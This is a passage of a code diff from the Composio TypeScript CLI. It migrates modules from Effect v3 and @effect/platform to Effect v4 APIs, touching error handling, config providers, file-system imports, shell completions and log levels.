32 +const formatParseErrorRedacted = (error: Schema.SchemaError): string =>
33 + collectIssueKinds(error.issue, []).join(', ');
34
35 /**
36 * Warns when the server returned `status` values newer than this CLI build's
@@ -44,7 +56,7 @@ const warnOnUnknownStatuses = (
56 /**
57 * Decodes a raw `client.connectedAccounts.list(...)` response against
58 * `ConnectedAccountListResponse`, falling back to the raw payload on
47 - * `ParseError`.
59 + * `SchemaError`.
60 *
61 * `status` is an open enum (`ConnectedAccountStatus`), so a status newer than
62 * this CLI build decodes fine and only triggers the "composio upgrade"
@@ -58,9 +70,9 @@ export const decodeConnectedAccountListWithFallback = (
70 ): Effect.Effect<ConnectedAccountListResponseType, never, TerminalUI> =>
71 Effect.gen(function* () {
72 const ui = yield* TerminalUI;
61 - return yield* Schema.decodeUnknown(ConnectedAccountListResponse)(rawResult).pipe(
73 + return yield* Schema.decodeUnknownEffect(ConnectedAccountListResponse)(rawResult).pipe(
74 Effect.tap(result => warnOnUnknownStatuses(result.items)),
63 - Effect.catchTag('ParseError', error =>
75 + Effect.catchTag('SchemaError', error =>
76 Effect.gen(function* () {
77 yield* ui.log.warn(
78 `Server response did not match the shape this CLI expects. Run ` +
@@ -86,11 +98,11 @@ export const decodeConnectedAccountListWithFallback = (
98 * payload: `link --list` JSON-dumps the decoded items to stdout, so the
99 * schema's field allowlist is what keeps credential-bearing fields (`state`,
100 * `data`, ...) out of pipeable output. Truly malformed data fails with
89 - * `ParseError`.
101 + * `SchemaError`.
102 */
103 export const decodeConnectedAccountItems = (
104 rawItems: unknown
93 -): Effect.Effect<ConnectedAccountItems, ParseResult.ParseError, TerminalUI> =>
94 - Schema.decodeUnknown(ConnectedAccountItems)(rawItems).pipe(
105 +): Effect.Effect<ConnectedAccountItems, Schema.SchemaError, TerminalUI> =>
106 + Schema.decodeUnknownEffect(ConnectedAccountItems)(rawItems).pipe(
107 Effect.tap(items => warnOnUnknownStatuses(items))
108 );
ts/packages/cli/src/effects/discover-skill-roots.ts
+1 -3
@@ -1,6 +1,4 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as Path from '@effect/platform/Path';
3 -import { Effect, Option } from 'effect';
1 +import { Effect, FileSystem, Option, Path } from 'effect';
2
3 const SKILL_NAME = 'composio-cli';
4
ts/packages/cli/src/effects/find-composio-core-generated.ts
+17 -14
@@ -1,7 +1,6 @@
1 -import * as Command from '@effect/platform/Command';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as Path from '@effect/platform/Path';
4 -import { Data, Effect, Match } from 'effect';
1 +import { Data, Effect, FileSystem, Match, Path } from 'effect';
2 +import { ChildProcess } from 'effect/unstable/process';
3 +import { ChildProcessSpawner } from 'effect/unstable/process/ChildProcessSpawner';
4 import {
5 JsPackageManagerDetector,
6 type PackageManager,
@@ -28,9 +27,8 @@ export function pyFindComposioCoreGenerated(cwd: string) {
27 yield* Effect.logDebug('Identifying JS package manager...');
28 const pkgManagerDetector = yield* JsPackageManagerDetector;
29 const pkgManager = yield* pkgManagerDetector.detectJsPackageManager(cwd).pipe(
31 - Effect.andThen(pkgManager => pkgManager),
30 Effect.tapError(e => Effect.logError(e)),
33 - Effect.catchAll(() => Effect.succeed(DEFAULT_PACKAGE_MANAGER))
31 + Effect.catch(() => Effect.succeed(DEFAULT_PACKAGE_MANAGER))
32 );
33
34 yield* Effect.logDebug({ pkgManager });
@@ -48,7 +46,6 @@ export function pyFindComposioCoreGenerated(cwd: string) {
46 );
47 }) satisfies Effect.Effect<never, ComposioCorePkgNotFound, JsPackageManagerDetector>;
48
51 - // Try to find `composio-core` in the current `uv` environment
49 // Try to find `composio-core` in the current `uv` environment
50 const [cmd, ...args] = [
51 'uv',
@@ -58,10 +55,16 @@ export function pyFindComposioCoreGenerated(cwd: string) {
55 'import composio; print(composio.__file__)',
56 ];
57
61 - const stdout = yield* Command.make(cmd, ...args).pipe(
62 - Command.string,
63 - Effect.catchAll(e => onError('Failed to locate composio-core in uv environment')(e))
64 - );
58 + const spawner = yield* ChildProcessSpawner;
59 + const stdout = yield* spawner
60 + .string(ChildProcess.make(cmd, args, { extendEnv: true }))
61 + .pipe(
62 + Effect.catch((e: unknown) =>
63 + onError('Failed to locate composio-core in uv environment')(
64 + e instanceof Error ? e : String(e)
65 + )
66 + )
67 + );
68
69 yield* Effect.logDebug({ stdout, cmd: [cmd, ...args].join(' ') });
70
@@ -112,7 +115,7 @@ export function jsFindComposioCoreGenerated(cwd: string) {
115 const pkgManagerDetector = yield* JsPackageManagerDetector;
116 const pkgManager = yield* pkgManagerDetector.detectJsPackageManager(cwd).pipe(
117 Effect.tapError(e => Effect.logError(e)),
115 - Effect.catchAll(() => Effect.succeed(DEFAULT_PACKAGE_MANAGER))
118 + Effect.catch(() => Effect.succeed(DEFAULT_PACKAGE_MANAGER))
119 );
120 yield* Effect.logDebug({ pkgManager });
121
@@ -130,7 +133,7 @@ export function jsFindComposioCoreGenerated(cwd: string) {
133
134 const exists = yield* fs
135 .exists(nodeModulesPath)
133 - .pipe(Effect.catchAll(() => Effect.succeed(false)));
136 + .pipe(Effect.catch(() => Effect.succeed(false)));
137
138 if (exists) {
139 yield* Effect.logDebug({ foundComposioCoreIn: nodeModulesPath });
@@ -149,7 +152,7 @@ export function jsFindComposioCoreGenerated(cwd: string) {
152 );
153 const pnpmExists = yield* fs
154 .exists(pnpmStorePath)
152 - .pipe(Effect.catchAll(() => Effect.succeed(false)));
155 + .pipe(Effect.catch(() => Effect.succeed(false)));
156
157 if (pnpmExists) {
158 yield* Effect.logDebug({ foundComposioCoreInPnpmStore: pnpmStorePath });
ts/packages/cli/src/effects/force-config.ts
+1 -1
@@ -1,6 +1,6 @@
1 import { Config } from 'effect';
2
3 -type FORCE_CONFIG = Config.Config.Wrap<{
3 +type FORCE_CONFIG = Config.Wrap<{
4 USE_CACHE: boolean;
5 }>;
6
ts/packages/cli/src/effects/from-lazy-json.ts
+50 -186
@@ -1,205 +1,69 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import * as PlatformError from '@effect/platform/Error';
3 -import {
4 - pipe,
5 - Array,
6 - Option,
7 - Effect,
8 - Cause,
9 - RegExp as regexp,
10 - Config,
11 - ConfigError,
12 - ConfigProvider,
13 - ConfigProviderPathPatch,
14 - HashSet,
15 - Predicate,
16 -} from 'effect';
1 +import { ConfigProvider, Effect, FileSystem, PlatformError, Predicate } from 'effect';
2 import { JSONParse, JSONParseError } from 'src/effects/json';
3
4 /**
20 - * Lazy version of a `effect/ConfigProvider` that reads config values from a JSON file.
5 + * Lazy version of an `effect/ConfigProvider` that reads config values from a
6 + * JSON file. The file is not read until the returned provider is first
7 + * consulted for a config value, and the parsed provider is cached for
8 + * subsequent lookups within the same process.
9 + *
10 + * A missing file is treated as "no config here" (every path lookup resolves
11 + * to `undefined`, matching `ConfigProvider`'s not-found contract) rather than
12 + * a hard failure — callers can still fall back to other providers or
13 + * `Config.withDefault`. Any other read/parse failure surfaces as a
14 + * `ConfigProvider.SourceError`.
15 */
22 -export const configProviderFromLazyJson = (filePath: string) =>
16 +export const configProviderFromLazyJson = (
17 + filePath: string
18 +): Effect.Effect<ConfigProvider.ConfigProvider, never, FileSystem.FileSystem> =>
19 Effect.gen(function* () {
20 const fs = yield* FileSystem.FileSystem;
21
26 - const { pathDelim, seqDelim } = { seqDelim: ',', pathDelim: '.' };
27 - const makePathString = (path: ReadonlyArray<string>): string =>
28 - pipe(path, Array.join(pathDelim));
29 - const unmakePathString = (pathString: string): ReadonlyArray<string> =>
30 - pathString.split(pathDelim);
22 + const isNotFound = (error: PlatformError.PlatformError): boolean =>
23 + Predicate.isTagged(error.reason, 'NotFound');
24
32 - const STR_INDEX_REGEX = /(^.+)(\[(\d+)\])$/;
25 + // Memoize the built provider so the file is read (and parsed) at most
26 + // once per process, no matter how many config paths are looked up.
27 + let cached: ConfigProvider.ConfigProvider | undefined;
28
34 - const parseInteger = (str: string): Option.Option<number> => {
35 - const parsedIndex = Number.parseInt(str);
36 - return Number.isNaN(parsedIndex) ? Option.none() : Option.some(parsedIndex);
37 - };
38 -
39 - const splitIndexFrom = (key: string): Option.Option<[string, number]> => {
40 - const match = key.match(STR_INDEX_REGEX);
41 - if (match !== null) {
42 - const matchedString = match[1];
43 - const matchedIndex = match[3];
44 - const optionalString =
45 - matchedString !== undefined && matchedString.length > 0
46 - ? Option.some(matchedString)
47 - : Option.none();
48 - const optionalIndex = pipe(
49 - matchedIndex !== undefined && matchedIndex.length > 0
50 - ? Option.some(matchedIndex)
51 - : Option.none(),
52 - Option.flatMap(parseInteger)
53 - );
54 - return Option.all([optionalString, optionalIndex]);
29 + const loadRootProvider: Effect.Effect<
30 + ConfigProvider.ConfigProvider | undefined,
31 + ConfigProvider.SourceError
32 + > = Effect.gen(function* () {
33 + if (cached) {
34 + return cached;
35 }
56 - return Option.none();
57 - };
36
59 - const splitIndexInKeys = (
60 - map: Map<string, string>,
61 - unmakePathString: (str: string) => ReadonlyArray<string>,
62 - makePathString: (chunk: ReadonlyArray<string>) => string
63 - ): Map<string, string> => {
64 - const newMap: Map<string, string> = new Map();
65 - for (const [pathString, value] of map) {
66 - const keyWithIndex = pipe(
67 - unmakePathString(pathString),
68 - Array.flatMap(key =>
69 - Option.match(splitIndexFrom(key), {
70 - onNone: () => Array.of(key),
71 - onSome: ([key, index]) => Array.make(key, `[${index}]`),
37 + const content = yield* fs.readFileString(filePath, 'utf-8').pipe(
38 + Effect.map((text): string | undefined => text),
39 + Effect.catchIf(isNotFound, () => Effect.succeed(undefined)),
40 + Effect.mapError(
41 + error =>
42 + new ConfigProvider.SourceError({
43 + message: error.message,
44 + cause: error,
45 })
73 - )
74 - );
75 - newMap.set(makePathString(keyWithIndex), value);
76 - }
77 - return newMap;
78 - };
79 -
80 - const parseConfig =
81 - <A>(_config: Config.Config<A>) =>
82 - (configContent: string) =>
83 - Effect.gen(function* () {
84 - const configContentAsJSON = yield* Effect.catchIf(
85 - JSONParse(configContent),
86 - (e): e is JSONParseError => e instanceof JSONParseError,
87 - e => Effect.fail(ConfigError.SourceUnavailable([], e.message, Cause.fail(e)))
88 - );
89 -
90 - const map = new Map(
91 - Object.entries(configContentAsJSON).map(([key, value]) => [key, String(value)] as const)
92 - );
93 -
94 - const mapWithIndexSplit = splitIndexInKeys(
95 - map,
96 - str => unmakePathString(str),
97 - makePathString
98 - );
99 -
100 - return mapWithIndexSplit;
101 - });
102 -
103 - const readConfig = <A>(filePath: string, config: Config.Config<A>) =>
104 - Effect.flatMap(fs.readFileString(filePath, 'utf-8'), parseConfig(config));
105 -
106 - const sourceError = (error: PlatformError.PlatformError) =>
107 - ConfigError.SourceUnavailable([], error.description ?? error.message, Cause.fail(error));
108 -
109 - const pathNotFoundError = ConfigError.MissingData([], `Path ${filePath} not found`);
110 - const handlePlatformError = (error: PlatformError.PlatformError) =>
111 - Predicate.isTagged(error, 'SystemError') && error.reason === 'NotFound'
112 - ? Effect.fail(pathNotFoundError)
113 - : Effect.fail(sourceError(error));
114 -
115 - const splitPathString = (text: string, delim: string): Array<string> => {
116 - const split = text.split(new RegExp(`\\s*${regexp.escape(delim)}\\s*`));
117 - return split;
118 - };
119 -
120 - const parsePrimitive = <A>(
121 - text: string,
122 - path: ReadonlyArray<string>,
123 - primitive: Config.Config.Primitive<A>,
124 - delimiter: string,
125 - split: boolean
126 - ): Effect.Effect<Array<A>, ConfigError.ConfigError> => {
127 - if (!split) {
128 - return pipe(
129 - primitive.parse(text),
130 - Effect.mapBoth({
131 - onFailure: ConfigError.prefixed(Array.fromIterable(path)),
132 - onSuccess: Array.of,
133 - })
134 - );
135 - }
136 - return pipe(
137 - splitPathString(text, delimiter),
138 - Effect.forEach(char => primitive.parse(char.trim())),
139 - Effect.mapError(ConfigError.prefixed(Array.fromIterable(path)))
46 + )
47 );
141 - };
48
143 - const load = <A>(
144 - path: ReadonlyArray<string>,
145 - primitive: Config.Config.Primitive<A>,
146 - split = true
147 - ): Effect.Effect<Array<A>, ConfigError.ConfigError> =>
148 - Effect.gen(function* () {
149 - const mapWithIndexSplit = yield* Effect.catchIf(
150 - readConfig(filePath, primitive),
151 - PlatformError.isPlatformError,
152 - handlePlatformError
153 - );
154 -
155 - const pathString = makePathString(path);
156 - const valueOpt = mapWithIndexSplit.has(pathString)
157 - ? Option.some(mapWithIndexSplit.get(pathString)!)
158 - : Option.none();
159 - const value = yield* pipe(
160 - valueOpt,
161 - Effect.mapError(() =>
162 - ConfigError.MissingData(
163 - Array.fromIterable(path),
164 - `Expected ${pathString} to exist in the provided map`
165 - )
166 - )
167 - );
168 -
169 - return yield* parsePrimitive(value, path, primitive, seqDelim, split);
170 - });
49 + if (content === undefined) {
50 + return undefined;
51 + }
52
172 - const enumerateChildren = (
173 - path: ReadonlyArray<string>
174 - ): Effect.Effect<HashSet.HashSet<string>, ConfigError.ConfigError> =>
175 - Effect.gen(function* () {
176 - const mapWithIndexSplit = yield* Effect.catchIf(
177 - readConfig(filePath, Config.string()),
178 - PlatformError.isPlatformError,
179 - handlePlatformError
180 - );
53 + const json = yield* JSONParse(content).pipe(
54 + Effect.mapError(
55 + (error: JSONParseError) =>
56 + new ConfigProvider.SourceError({ message: error.message, cause: error })
57 + )
58 + );
59
182 - const keyPaths = Array.fromIterable(mapWithIndexSplit.keys()).map(unmakePathString);
183 - const filteredKeyPaths = keyPaths
184 - .filter(keyPath => {
185 - for (let i = 0; i < path.length; i++) {
186 - const pathComponent = pipe(path, Array.unsafeGet(i));
187 - const currentElement = keyPath[i];
188 - if (currentElement === undefined || pathComponent !== currentElement) {
189 - return false;
190 - }
191 - }
192 - return true;
193 - })
194 - .flatMap(keyPath => keyPath.slice(path.length, path.length + 1));
195 - return HashSet.fromIterable(filteredKeyPaths);
196 - });
60 + cached = ConfigProvider.fromUnknown(json);
61 + return cached;
62 + });
63
198 - return ConfigProvider.fromFlat(
199 - ConfigProvider.makeFlat({
200 - load,
201 - enumerateChildren,
202 - patch: ConfigProviderPathPatch.empty,
203 - })
64 + return ConfigProvider.make(path =>
65 + Effect.flatMap(loadRootProvider, provider =>
66 + provider ? provider.load(path) : Effect.succeed(undefined)
67 + )
68 );
69 });
ts/packages/cli/src/effects/github-config.ts
+1 -1
@@ -1,6 +1,6 @@
1 import { Config, Option } from 'effect';
2
3 -type GITHUB_CONFIG = Config.Config.Wrap<{
3 +type GITHUB_CONFIG = Config.Wrap<{
4 API_BASE_URL: string;
5 OWNER: string;
6 REPO: string;
ts/packages/cli/src/effects/handle-http-error.ts
+1 -1
@@ -58,7 +58,7 @@ export const handleHttpServerError =
58 if (opts.searchForSuggestions) {
59 const suggestions = yield* opts
60 .searchForSuggestions()
61 - .pipe(Effect.catchAll(() => Effect.succeed(noSuggestions)));
61 + .pipe(Effect.catch(() => Effect.succeed(noSuggestions)));
62
63 const [first] = suggestions;
64 if (first) {
ts/packages/cli/src/effects/install-skill.ts
+3 -5
@@ -1,7 +1,5 @@
1 -import { Config, Data, Effect, Option } from 'effect';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as HttpClient from '@effect/platform/HttpClient';
4 -import * as Path from '@effect/platform/Path';
1 +import { Config, Data, Effect, FileSystem, Option, Path } from 'effect';
2 +import { HttpClient } from 'effect/unstable/http';
3 import { NodeOs } from 'src/services/node-os';
4 import { TerminalUI } from 'src/services/terminal-ui';
5 import { GITHUB_CONFIG } from 'src/effects/github-config';
@@ -273,7 +271,7 @@ export const installSkillSafe = (options?: {
271 }) =>
272 installSkill(options).pipe(
273 Effect.sandbox,
276 - Effect.catchAll(cause =>
274 + Effect.catch(cause =>
275 Effect.gen(function* () {
276 const ui = yield* TerminalUI;
277 yield* Effect.logDebug('Skill install failed:', cause);
ts/packages/cli/src/effects/json.ts
+2 -2
@@ -10,9 +10,9 @@ export class JSONParseError extends Data.TaggedError('effects/JSONParseError')<{
10 * Import this instead of re-declaring `Schema.Record({ key: Schema.String,
11 * value: Schema.Unknown })` locally.
12 */
13 -export const JsonRecordSchema = Schema.Record({ key: Schema.String, value: Schema.Unknown });
13 +export const JsonRecordSchema = Schema.Record(Schema.String, Schema.Unknown);
14
15 export const JSONParse = (s: string) =>
16 - Schema.decodeUnknown(Schema.parseJson(JsonRecordSchema))(s).pipe(
16 + Schema.decodeUnknownEffect(Schema.fromJsonString(JsonRecordSchema))(s).pipe(
17 Effect.mapError(cause => new JSONParseError({ cause, message: 'Failed to parse JSON' }))
18 );
ts/packages/cli/src/effects/link-analytics-identity.ts
+1 -1
@@ -30,7 +30,7 @@ export const linkAnalyticsIdentityForOrg = (params: {
30 orgId: params.orgId,
31 }).pipe(
32 Effect.map(sessionInfo => sessionInfo.org_member.id),
33 - Effect.catchAll(error =>
33 + Effect.catch(error =>
34 Effect.logDebug('Failed to resolve analytics identity for selected org:', error).pipe(
35 Effect.as(undefined)
36 )
ts/packages/cli/src/effects/resolve-cli-release.ts
+1 -2
@@ -1,6 +1,5 @@
1 import { Data, Effect, Option, Schema } from 'effect';
2 -import * as HttpClient from '@effect/platform/HttpClient';
3 -import * as HttpClientResponse from '@effect/platform/HttpClientResponse';
2 +import { HttpClient, HttpClientResponse } from 'effect/unstable/http';
3 import { semverComparator } from 'src/effects/compare-semver';
4 import type { CliReleaseChannel } from 'src/constants';
5
ts/packages/cli/src/effects/resolve-optional-text-input.ts
+8 -4
@@ -1,6 +1,5 @@
1 -import { HelpDoc, ValidationError } from '@effect/cli';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import { Effect, Option } from 'effect';
1 +import { Effect, FileSystem, Option } from 'effect';
2 +import { CliError } from 'effect/unstable/cli';
3
4 import { readStdin, readStdinIfPiped } from 'src/effects/read-stdin';
5
@@ -24,7 +23,12 @@ export const resolveOptionalTextInput = (
23 const filePath = value.slice(1).trim();
24 if (!filePath) {
25 return yield* Effect.fail(
27 - ValidationError.invalidValue(HelpDoc.p('Missing file path after "@" in --data'))
26 + new CliError.InvalidValue({
27 + option: 'data',
28 + value,
29 + expected: 'a file path after "@"',
30 + kind: 'flag',
31 + })
32 );
33 }
34 return yield* fs.readFileString(filePath, 'utf-8');
ts/packages/cli/src/effects/setup-cache-dir.ts
+2 -4
@@ -1,6 +1,4 @@
1 -import { Effect } from 'effect';
2 -import * as FileSystem from '@effect/platform/FileSystem';
3 -import * as Path from '@effect/platform/Path';
1 +import { Effect, FileSystem, Path } from 'effect';
2 import * as constants from 'src/constants';
3 import { APP_CONFIG } from 'src/effects/app-config';
4 import { NodeOs } from 'src/services/node-os';
@@ -15,7 +13,7 @@ export const setupCacheDir = Effect.gen(function* () {
13 (yield* APP_CONFIG.CACHE_DIR) ?? path.join(os.homedir, constants.USER_COMPOSIO_DIR);
14
15 // Ensure cache directory exists
18 - yield* fs.makeDirectory(cacheDir, { recursive: true }).pipe(Effect.catchAll(() => Effect.void));
16 + yield* fs.makeDirectory(cacheDir, { recursive: true }).pipe(Effect.catch(() => Effect.void));
17
18 return cacheDir;
19 });
ts/packages/cli/src/effects/shell-completions.ts
+25 -14
@@ -1,5 +1,5 @@
1 -import { Command } from '@effect/cli';
1 import { Effect } from 'effect';
2 +import { Command, Completions } from 'effect/unstable/cli';
3
4 type Shell = 'bash' | 'zsh' | 'fish';
5
@@ -21,24 +21,35 @@ const sanitizeFishCompletionLine = (line: string): string => {
21 const sanitizeFishCompletionLines = (lines: Array<string>): Array<string> =>
22 lines.map(sanitizeFishCompletionLine);
23
24 +/**
25 + * Converts a public `Command.Command` tree into the `Completions.CommandDescriptor`
26 + * shape consumed by `effect/unstable/cli`'s completion-script generator.
27 + *
28 + * v4 has no like-for-like replacement for v3's rich `CommandDescriptor` walk:
29 + * `Command.Command` only exposes `name` / `description` / `subcommands`
30 + * publicly (see `effect/unstable/cli/Command`), not per-flag or per-argument
31 + * metadata. Completions are therefore generated at the subcommand-name level
32 + * only; flag/argument value completion is intentionally omitted until
33 + * `effect/unstable/cli` exposes that metadata through a public API.
34 + */
35 +const toCompletionDescriptor = (command: Command.Command.Any): Completions.CommandDescriptor => ({
36 + name: command.name,
37 + description: command.description,
38 + flags: [],
39 + arguments: [],
40 + subcommands: command.subcommands.flatMap(group => group.commands.map(toCompletionDescriptor)),
41 +});
42 +
43 /**
44 * Generate a shell completion script for the given command tree and shell type.
26 - * Uses @effect/cli's built-in completion generators.
45 */
28 -export const getCompletionScript = <Name extends string, R, E, A>(
29 - command: Command.Command<Name, R, E, A>,
46 +export const getCompletionScript = (
47 + command: Command.Command.Any,
48 shell: Shell
49 ): Effect.Effect<Array<string>> => {
32 - switch (shell) {
33 - case 'bash':
34 - return Command.getBashCompletions(command, 'composio');
35 - case 'zsh':
36 - return Command.getZshCompletions(command, 'composio');
37 - case 'fish':
38 - return Command.getFishCompletions(command, 'composio').pipe(
39 - Effect.map(sanitizeFishCompletionLines)
40 - );
41 - }
50 + const script = Completions.generate('composio', shell, toCompletionDescriptor(command));
51 + const lines = script.split('\n');
52 + return Effect.succeed(shell === 'fish' ? sanitizeFishCompletionLines(lines) : lines);
53 };
54
55 export const _test = {
ts/packages/cli/src/effects/toolkit-from-tool-slug.ts
+1 -1
@@ -50,4 +50,4 @@ export const toolkitFromToolSlug = (
50 yield* catalog.remember(allSlugs);
51
52 return matchToolkitFromToolSlug(toolSlug, allSlugs);
53 - }).pipe(Effect.catchAll(() => Effect.succeed(guessToolkitFromToolSlug(toolSlug))));
53 + }).pipe(Effect.catch(() => Effect.succeed(guessToolkitFromToolSlug(toolSlug))));
ts/packages/cli/src/effects/toolkit-version-overrides.ts
+23 -16
@@ -1,5 +1,5 @@
1 -import { Config, ConfigError, Effect, HashMap, Option, pipe, String } from 'effect';
2 -import { BaseConfigProviderLive } from 'src/services/config';
1 +import { Config, ConfigProvider, Effect, Option, Schema, String } from 'effect';
2 +import { getBaseConfigProvider } from 'src/services/config';
3
4 /**
5 * Represents a toolkit with its version specification.
@@ -12,19 +12,18 @@ export interface ToolkitVersionSpec {
12
13 /**
14 * Config that reads COMPOSIO_TOOLKIT_VERSION_<TOOLKIT>=<version> env vars.
15 - * Uses Effect's Config.hashMap with Config.nested to read all env vars
16 - * `COMPOSIO_TOOLKIT_VERSION_${TOOLKIT}` with a wildcard suffix.
15 + * Uses `Config.Record` scoped to the `COMPOSIO.TOOLKIT.VERSION` path to read
16 + * all env vars matching `COMPOSIO_TOOLKIT_VERSION_${TOOLKIT}` as record keys.
17 *
18 * @example
19 * // Given: COMPOSIO_TOOLKIT_VERSION_GMAIL=20250901_00
20 - * // Returns: HashMap { "GMAIL" => "20250901_00" }
20 + * // Returns: { "GMAIL": "20250901_00" }
21 */
22 -export const TOOLKIT_VERSION_OVERRIDES_CONFIG = pipe(
23 - Config.hashMap(Config.string()),
24 - Config.nested('VERSION'),
25 - Config.nested('TOOLKIT'),
26 - Config.nested('COMPOSIO'),
27 - Config.option // Optional, so missing env vars don't fail the config
22 +export const TOOLKIT_VERSION_OVERRIDES_CONFIG: Config.Config<
23 + Option.Option<Readonly<Record<string, string>>>
24 +> = Config.option(
25 + // Optional, so missing env vars don't fail the config
26 + Config.schema(Config.Record(Schema.String, Schema.String), ['COMPOSIO', 'TOOLKIT', 'VERSION'])
27 );
28
29 /**
@@ -64,7 +63,7 @@ export const sanitizeVersionString = (version: string): string | null => {
63 * Uses Effect's Config system to read env vars matching the pattern
64 * COMPOSIO_TOOLKIT_VERSION_<TOOLKIT>=<version>.
65 *
67 - * This function uses `BaseConfigProviderLive` directly (bypassing `extendConfigProvider`)
66 + * This function uses `getBaseConfigProvider()` directly (bypassing `extendConfigProvider`)
67 * to correctly parse the nested path structure of the environment variable names.
68 *
69 * @returns Effect that yields a Map<Lowercase<string>, string> where keys are lowercase toolkit slugs
@@ -76,15 +75,15 @@ export const sanitizeVersionString = (version: string): string | null => {
75 */
76 export const getToolkitVersionOverrides: Effect.Effect<
77 ToolkitVersionOverrides,
79 - ConfigError.ConfigError
78 + Config.ConfigError
79 > = Effect.gen(function* () {
80 const maybeOverrides = yield* TOOLKIT_VERSION_OVERRIDES_CONFIG;
81
82 return Option.match(maybeOverrides, {
83 onNone: () => new Map<Lowercase<string>, string>(),
85 - onSome: hashMap => {
84 + onSome: record => {
85 const result = new Map<Lowercase<string>, string>();
87 - for (const [key, value] of HashMap.toEntries(hashMap)) {
86 + for (const [key, value] of Object.entries(record)) {
87 // Normalize toolkit name to lowercase and skip 'latest' values
88 if (value && value !== 'latest') {
89 // Sanitize version string to only allow valid characters
@@ -97,7 +96,15 @@ export const getToolkitVersionOverrides: Effect.Effect<
96 return result;
97 },
98 });
100 -}).pipe(Effect.withConfigProvider(BaseConfigProviderLive));
99 +}).pipe(
100 + Effect.provideServiceEffect(
101 + ConfigProvider.ConfigProvider,
102 + // Deferred via `Effect.sync` so the provider (and the `process.env` snapshot
103 + // it captures) is constructed when this Effect actually runs, not when this
104 + // module-level Effect value is built at import time.
105 + Effect.sync(() => getBaseConfigProvider())
106 + )
107 +);
108
109 /**
110 * Builds an array of ToolkitVersionSpec from toolkit slugs and version overrides.
ts/packages/cli/src/effects/validate-toolkit-versions.ts
+1 -1
@@ -207,7 +207,7 @@ export const validateToolkitVersionOverrides = ({
207 })
208 )
209 ),
210 - Effect.catchTag('NoSuchElementException', () =>
210 + Effect.catchTag('NoSuchElementError', () =>
211 Effect.fail(
212 new ToolkitVersionValidationError({
213 message: 'API client not initialized',
ts/packages/cli/src/effects/with-log-level.ts
+4 -4
@@ -1,4 +1,4 @@
1 -import { Effect, Option, Logger, LogLevel, Layer } from 'effect';
1 +import { Effect, Option, LogLevel, Layer, References } from 'effect';
2 import { APP_CONFIG } from 'src/effects/app-config';
3
4 /**
@@ -11,7 +11,7 @@ export const setMinimumLogLevel = (logLevelFromCLI: Option.Option<LogLevel.LogLe
11 Effect.map(logLevelFromEnv => {
12 return Option.orElse(logLevelFromCLI, () => logLevelFromEnv);
13 }),
14 - Effect.map(Option.getOrElse(() => LogLevel.Info)),
15 - Effect.map(logLevel => Logger.minimumLogLevel(logLevel)),
16 - Layer.unwrapEffect
14 + Effect.map(Option.getOrElse((): LogLevel.LogLevel => 'Info')),
15 + Effect.map(logLevel => Layer.succeed(References.MinimumLogLevel, logLevel)),
16 + Layer.unwrap
17 );
ts/packages/cli/src/effects/write-file-atomic.ts
+1 -2
@@ -1,5 +1,4 @@
1 -import * as FileSystem from '@effect/platform/FileSystem';
2 -import { Effect, Random } from 'effect';
1 +import { Effect, FileSystem, Random } from 'effect';
2
3 /**
4 * Writes `content` to a sibling temp file and renames it over `filePath`.
ts/packages/cli/src/generation/create-toolkit-index.ts
+1 -1
@@ -128,7 +128,7 @@ const groupByToolkit =
128 })),
129 Match.when({ withTypes: false }, ({ withTypes, tools }) => ({
130 withTypes,
131 - tools: tools.filter(tool => startsWith(`${toolkitName}_`)(tool)),
131 + tools: tools.filter((tool: string) => startsWith(`${toolkitName}_`)(tool)),
132 })),
133 Match.exhaustive
134 );
ts/packages/cli/src/generation/python/generate.ts
+1 -2
@@ -1,7 +1,6 @@
1 -import type * as Path from '@effect/platform/Path';
1 import type { ToolkitIndex } from 'src/generation/create-toolkit-index';
2 import type { SourceFile } from 'src/generation/types';
4 -import { Effect } from 'effect';
3 +import { Effect, type Path } from 'effect';
4 import { safeOutputPath, type SafeOutputPathError } from 'src/generation/safe-output-path';
5 import { generatePythonToolkitSources } from './generate-toolkit-sources';
6
ts/packages/cli/src/generation/safe-output-path.ts
+1 -2
@@ -1,5 +1,4 @@
1 -import * as Path from '@effect/platform/Path';
2 -import { Data, Effect } from 'effect';
1 +import { Data, Effect, Path } from 'effect';
2
3 export class SafeOutputPathError extends Data.TaggedError('generation/SafeOutputPathError')<{
4 readonly filename: string;
ts/packages/cli/src/generation/typescript/generate.ts
+1 -2
@@ -1,11 +1,10 @@
1 import * as ts from '@composio/ts-builders';
2 -import * as Path from '@effect/platform/Path';
2 import { safeOutputPath, type SafeOutputPathError } from 'src/generation/safe-output-path';
3 import type { ToolkitIndex } from 'src/generation/create-toolkit-index';
4 import type { SourceFile } from 'src/generation/types';
5 import { generateTypeScriptToolkitSources } from './generate-toolkit-sources';
6 import { generateIndexSource } from './generate-index-source';
8 -import { Effect } from 'effect';
7 +import { Effect, Path } from 'effect';
8 import type { GenerateTypeFromJsonSchemaError } from './generate-type-from-json-schema';
9
10 type GenerateTypeScriptSourcesError = GenerateTypeFromJsonSchemaError | SafeOutputPathError;
ts/packages/cli/src/generation/typescript/transpile.ts
+1 -2
@@ -1,6 +1,5 @@
1 import ts from 'typescript';
2 -import * as Path from '@effect/platform/Path';
3 -import { Effect, Data } from 'effect';
2 +import { Effect, Data, Path } from 'effect';
3 import {
4 buildVirtualFileMap,
5 patchCompilerHostWithVirtualFiles,
ts/packages/cli/src/generation/typescript/virtual-compiler-host.ts
+1 -1
@@ -1,5 +1,5 @@
1 -import type * as Path from '@effect/platform/Path';
1 import ts from 'typescript';
2 +import type { Path } from 'effect';
3
4 /**
5 * Builds a virtual file map from source tuples for in-memory TypeScript compilation.
ts/packages/cli/src/models/auth-configs.ts
+10 -8
@@ -1,4 +1,4 @@
1 -import { Schema } from 'effect';
1 +import { Effect, Schema } from 'effect';
2
3 /**
4 * An auth config item from the list or retrieve endpoints.
@@ -12,18 +12,20 @@ export const AuthConfigItem = Schema.Struct({
12 id: Schema.String,
13 name: Schema.String,
14 no_of_connections: Schema.Int,
15 - status: Schema.Literal('ENABLED', 'DISABLED'),
16 - type: Schema.Literal('default', 'custom'),
15 + status: Schema.Literals(['ENABLED', 'DISABLED']),
16 + type: Schema.Literals(['default', 'custom']),
17 uuid: Schema.String,
18 toolkit: Schema.Struct({
19 logo: Schema.String,
